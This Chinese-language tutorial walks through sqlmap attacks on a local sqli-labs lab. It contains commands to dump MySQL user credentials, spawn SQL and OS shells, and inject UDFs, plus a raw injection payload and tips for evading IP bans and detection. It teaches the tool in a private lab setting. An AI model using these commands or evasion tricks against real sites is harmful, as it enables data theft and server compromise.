sqlmap注入之(不要做工具的木偶)简单教程(一)


  • 在windows上查看80端口是否开启的命令为:cmd ——> netstat -ano | findstr :80
  • tasklist | findstr “4” 可查询到PID为4的进程为系统system进程

一、sql注入的相关原理:

  • 说明:常见WEB漏洞之sql注入必须精通,因为在信息收集阶段,我们的目标是一个网站的服务器。常见的21、22、23号端口大多数情况都不会开放的,但是80、8080等WEB端口一定24小时开放着。这个时候我们不能用ssh口令爆破登录远程主机,只能从WEB方面考虑是否存在漏洞。
  • 对sql注入的理解到底有多深,决定了你对此漏洞的利用方式有多么的变化莫测!!!
  • SQLI(sql injection 即SQL注入)。sql(structed query language,即结构化查询语言),常见的SQL有:mysql、mssql、orcale、postgresql等等。

二、sqlmap的相关介绍

1、sqlmap的相关理论知识:

sqlmap是一款用来检测与利用SQL漏洞的注入神器。开源的自动化SQL注入工具,由Python语言写成。

具有如下特点:

  • 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
  • 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
  • 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
  • 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
  • 支持自动识别密码哈希格式并通过字典破解密码哈希。
  • 支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
  • 支持在数据库管理系统中搜索指定的数据库名、表名或列名。
  • 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
  • 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。
2、sqlmap的安装:
  • Sqlmap的开源项目,托管在github,最简单的安装方式便是使用git,执行如下命令:
    git clone https://github.com/sqlmapproject/sqlmap.git
  • 片刻后命令执行完毕,可以看到当前目录中多了一个名为“sqlmap”的目录,该目录中保存着Sqlmap的Python源码、配置文件和文档。

由于Python是解释执行的语言,不用编译,所以至此最新版的Sqlmap已经安装完成。

sqlmap注入之(不要做工具的木偶)简单教程(一)_第1张图片

三、sqlmap工具的简单应用

我们老师的金句:不要过于依赖sqlmap工具,手工注入–掌握底层原理
Sqlmap有的无法绕过waf,因此还是手工注入更能体现出水平!

(一)实验环境:

  • Win7上安装phpStudy工具,IP:192.168.85.112
  • Kali(自带sqlmap),IP:192.168.85.169
1、在Win7操作系统上配置服务器端的日志设置;

在C:\phpStudy\PHPTutorial\Apache\conf目录下修改配置文件httpd.conf,在文件中搜索 logLevel error,并将最后一行#CustomLog “logs/access.log” combined语句前面的# 号去掉,可以使配置服务器端apache服务的日志可以记录;

sqlmap注入之(不要做工具的木偶)简单教程(一)_第2张图片

2、通过ping命令检测网络是否互通:
  • 在kali上:ping 192.168.85.112是否可以ping通Win7;

sqlmap注入之(不要做工具的木偶)简单教程(一)_第3张图片

  • 在Win7上ping命令,kali是否网络可达;

sqlmap注入之(不要做工具的木偶)简单教程(一)_第4张图片

(二)操作步骤

1、kali上通过命令操作获取数据库名:

切记:这里我们在进行sqlmap注入时,应该先关掉服务器上自带的防火墙和已安装的防火墙(如:safedog等等)。

1.1> 命令:sqlmap -help ——> 获取sqlmap的帮助信息;

sqlmap注入之(不要做工具的木偶)简单教程(一)_第5张图片

1.2> 判断id是否存在注入点

命令:sqlmap -u 'http://192.168.85.112/sqlilabs/Less-5/?id=1’
#判断id参数是否存在注入:结果中包含 “id” is Vulnerable 字段表示存在注入
存在注入,下面的步骤才可以执行成功。

  • -u : 注入点

1.3> 列举能列出的所有数据库名;

命令:Sqlmap -u ‘http://192.168.85.112/sqli-labs/Less-5/?id=1’ --dbs
# 列举能列的所有数据库名

  • -u : 注入点
  • –dbs : 列出所有数据库
  • –flush-session : 重新注入。因为有缓存,所以出来很快,所以用–flush-session来重新注入;

sqlmap注入之(不要做工具的木偶)简单教程(一)_第6张图片
数据库名如下:

sqlmap注入之(不要做工具的木偶)简单教程(一)_第7张图片

2、也可以通过手工注入burp拦截数据流量,然后使用-r读物文件
2.1> 在物理机上通过Burp Suite的对firefox浏览器代理的抓包;

2.1.1> 在浏览器上通过http://192.168.85.112/sqlilabs/Less-5/?id=4进行注入;
sqlmap注入之(不要做工具的木偶)简单教程(一)_第8张图片

2.1.2> 通过BurpSuite进行抓包,并将抓包到的所有内容复制下导入到kali中;

sqlmap注入之(不要做工具的木偶)简单教程(一)_第9张图片

2.2> 在kali中将2.1.2>中复制的内容黏下来,并通过sqlmap对其进行注入;

2.2.1> 创建sqlmap.txt文件,并进行内容复制;

命令1:touch sqlmap.txt
命令2:leafpad sqlmap.txt

接下来将需要上面复制的内容,粘贴到sqlmap.txt文件中。

sqlmap注入之(不要做工具的木偶)简单教程(一)_第10张图片

2.2.2> 在kali中通过执行sqlmap.txt文件对目标进行注入;

命令:root@kali:sqlmap -r sqlmap.txt --dbs --flush-session

  • -r:从一个文件里加载http请求

sqlmap注入之(不要做工具的木偶)简单教程(一)_第11张图片

上面两种注入方法没有本质的区别。

分析Win7服务器上apache的日志文件

1、通过C:\phpStudy\PHPTutorial\Apache\logs路径打开Win7中的apache日志文件access.log

sqlmap注入之(不要做工具的木偶)简单教程(一)_第12张图片

1.1> 关于以上Apache日志文件的简单说明:

记录IP,- -(表示网站访问的登录用户和密码),日期,请求方法以及路径
sqlmap注入之(不要做工具的木偶)简单教程(一)_第13张图片
对以上Apache日志文件进行分析:

  • HTTP/1.1 ——表示HTTP版本
  • 200 —— 表示返回状态码;
  • 787 —— 请求页面字节数;
  • User-agent —— 用户代理;

分析日志发现:短时间内有大量的相同请求,网站分析可能是脚本在跑,手工注入速度达不到,因此有可能被封杀。

1.2> 注入Payload的说明
?   id=1%20AND%20%28SELECT%206267%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x716a766a71%2C%28SELECT%20%28ELT%286267%3D6267%2C1%29%29%29%2C0x7178787171%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x%29a%29 HTTP/1.1" 200 2494 "-" "sqlmap/1.3.4#stable (http://sqlmap.org)"

语上面的Payload特殊语句去掉后,可以翻译成为:

4' AND (SELECT 9123 FROM(SELECT COUNT(*),CONCAT(0x71706b7a71,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'zlat'='zlat  id=1 AND (SELECT 6267 FROM(SELECT COUNT(*),CONCAT(0x716a766a71,(SELECT (ELT(6267=6267,1))),0x7178787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) HTTP/1.1" 200 2494 "-" "sqlmap/1.3.4#stable (http://sqlmap.org)"
2、数据包伪装

一般网站我们都用sqlmap这样的自动化工具去跑,很可能IP被封杀掉。因此合理的伪装成正常的访问是我们需要进一步做到的,以下为相关的参数:

  • -delay —— 设置两个包之间的延迟,避免一秒内连发了10个相同的包,让网站服务器识别出是脚本在运行;
  • -timeout —— 设置超时时间,网络中有可能因为网络阻塞,导致包迟迟发不过去,
    因此超过一定时间就丢弃;
  • -retries —— 设置重试次数,默认值为3;
  • -random-agent —— 随机使用user-agent头部,让网站无法判断出我们使用那种设备;
  • -v —— 详细的等级(0-6);
    • 0:只显示Python的回溯,错误和关键消息
    • 1:显示信息和警告消息
    • 2:显示调试消息
    • 3:有效载荷注入
    • 4:显示HTTP请求
    • 5:显示HTTP响应头
    • 6:显示HTTP响应页面的内容
  • -level 3 —— 大于等于3的时候对user-agent注入,-level=5对cookie注入;
  • -risk —— 判断注入风险;
  • –threads —— 指定线程数,不易太高, --threads=10 —— 最大为10;
  • -time-sec —— 基于时间的盲注;
  • -dns-domain dns —— 泄露攻击;
  • -f/–fingerprint —— 指纹;
  • -b/–banner —— 利用version()函数 获取banner信息;
  • -is-dba —— 是否为管理员;
(1)实测1:

输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=1’ --thread 5 --delay 1 --timeout 2 --retries 2 --random-agent --risk 3 --dbs

sqlmap注入之(不要做工具的木偶)简单教程(一)_第14张图片

  • 分析日志:

这个是老师给的资料上面的图片—— 注意:通过对apache日志的观察和分析User-agent头部已经改变。:
在这里插入图片描述
这个是自己的的Win7上面的apache日志:

192.168.85.134 - - [12/Sep/2019:10:50:35 +0800] "GET /sqlilabs/Less-5/?id=1 HTTP/1.1" 200 704 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2"
  • sqlmap注入得到的注入类型有:盲注、错误注入、时间注入。

sqlmap注入之(不要做工具的木偶)简单教程(一)_第15张图片

  • 最后得到的数据库结果:

sqlmap注入之(不要做工具的木偶)简单教程(一)_第16张图片

(2)实测2——基于时间的盲注:

输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=3’ --time-sec 5 --dbs

sqlmap注入之(不要做工具的木偶)简单教程(一)_第17张图片

(3)实测3:-f 指纹注入

输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ -f

  • -f —— 指纹判别数据库类型;

sqlmap注入之(不要做工具的木偶)简单教程(一)_第18张图片

  • 注入指纹得到mysql详细的版本:

sqlmap注入之(不要做工具的木偶)简单教程(一)_第19张图片

(4)-b 获取 banner信息:
  • 输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ -b

sqlmap注入之(不要做工具的木偶)简单教程(一)_第20张图片

  • 最后结果获取的banner信息:
    sqlmap注入之(不要做工具的木偶)简单教程(一)_第21张图片
(5)–is-dbs 判断是否为管理员

DBA:数据库管理员(Database Administrator,简称DBA)

  • 输入: sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ --is-dba

sqlmap注入之(不要做工具的木偶)简单教程(一)_第22张图片

  • 通过结果判断是否为管理员:

sqlmap注入之(不要做工具的木偶)简单教程(一)_第23张图片

(6)开始sql注入—数据获取:
  • -D 数据库名 —— 指定数据库名;
  • -tables -D 数据名 —— 列出指定数据库中的表

输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ -D mysql --tables --threads=10

sqlmap注入之(不要做工具的木偶)简单教程(一)_第24张图片
获得的mysql数据库的表:

sqlmap注入之(不要做工具的木偶)简单教程(一)_第25张图片

(7)爆出数据库中表的字段:
  • –columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段

输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ -D mysql -T user --columns --threads=10

sqlmap注入之(不要做工具的木偶)简单教程(一)_第26张图片
获取字段最后的结果:

sqlmap注入之(不要做工具的木偶)简单教程(一)_第27张图片

(7)找到user和password爆出值:
  • -dump -T “数据库” -D “表” -C “字段” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)

输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ -D mysql -T user -C user,password --dump --threads=10

sqlmap注入之(不要做工具的木偶)简单教程(一)_第28张图片
对密码进行了hash加密:

sqlmap注入之(不要做工具的木偶)简单教程(一)_第29张图片
获取数据库mysql,表user中的用户名(user)和密码(password);
sqlmap注入之(不要做工具的木偶)简单教程(一)_第30张图片

(8)知道了sql用户和密码后,就可以使用 --sql-shell —— 运行自定义的SQL语句(即,系统交互shell);

输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ --sql-shell

sqlmap注入之(不要做工具的木偶)简单教程(一)_第31张图片
sqlmap注入之(不要做工具的木偶)简单教程(一)_第32张图片

(9)–udf-inject #导入用户自定义函数(获取系统权限)

输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ --dbs --udf-inject --flush-session

sqlmap注入之(不要做工具的木偶)简单教程(一)_第33张图片

(10)–os-shell #系统交互shell

用–os-shell参数可以模拟一个真实的Shell,输入项执行的命令。当不能之心个多语句时(比如PHP或ASP的后端数据库为MySQL),任然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。–os-shell支持ASP、ASP.NET、JSP和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是–is-dbs的值腰围True)。

输入:sqlmap -u ‘http://192.168.85.112/sqlilabs/Less-5/?id=2’ --os-shell
sqlmap注入之(不要做工具的木偶)简单教程(一)_第34张图片
sqlmap注入之(不要做工具的木偶)简单教程(一)_第35张图片

你可能感兴趣的:(sqlmap注入之(不要做工具的木偶)简单教程(一))